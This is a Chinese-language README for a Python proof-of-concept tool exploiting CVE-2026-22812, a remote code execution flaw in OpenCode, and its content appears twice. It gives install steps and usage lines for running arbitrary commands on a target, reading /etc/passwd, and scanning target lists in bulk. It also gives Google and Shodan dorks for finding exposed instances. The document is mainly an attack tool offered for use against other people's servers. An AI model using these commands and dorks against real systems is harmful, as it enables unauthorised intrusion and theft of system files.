OpenCode CVE-2026-22812 利用工具 用于检查和利用 OpenCode 漏洞(CVE-2026-22812)的简单 Python 工具。
安装
git clone https://github.com/CayberMods/CVE-2026-22812-POC.git
cd CVE-2026-22812-POC
pip install requests urllib3 argparse concurrent-log-handler colorama
基本用法
# 检查单个目标
python rce.py -u http://target:4096 --check
# 执行命令
python rce.py -u http://target:4096 -c "whoami"
# 读取文件
python rce.py -u http://target:4096 --read-file /etc/passwd
# 扫描多个目标
python rce.py -l targets.txt --check
# 其他
python rce.py --help
搜索 Dork
Google: intitle:"OpenCode" "Login"
Shodan: port:"4095-4100" http.component:"OpenCode"
默认端口:4095-4100
用于检查和利用 OpenCode 漏洞(CVE-2026-22812)的简单 Python 工具。
安装:
git clone https://github.com/CayberMods/CVE-2026-22812-POC.git
cd CVE-2026-22812-POC
pip install requests urllib3 argparse concurrent-log-handler colorama
基本用法
# 检查单个目标
python rce.py -u http://target:4096 --check
# 执行命令
python rce.py -u http://target:4096 -c "whoami"
# 读取文件
python rce.py -u http://target:4096 --read-file /etc/passwd
# 扫描多个目标
python rce.py -l targets.txt --check
# 其他
搜索 Dork:
Google: intitle:"OpenCode" "Login"
Shodan: port:"4095-4100" http.component:"OpenCode"
默认端口:4095-4100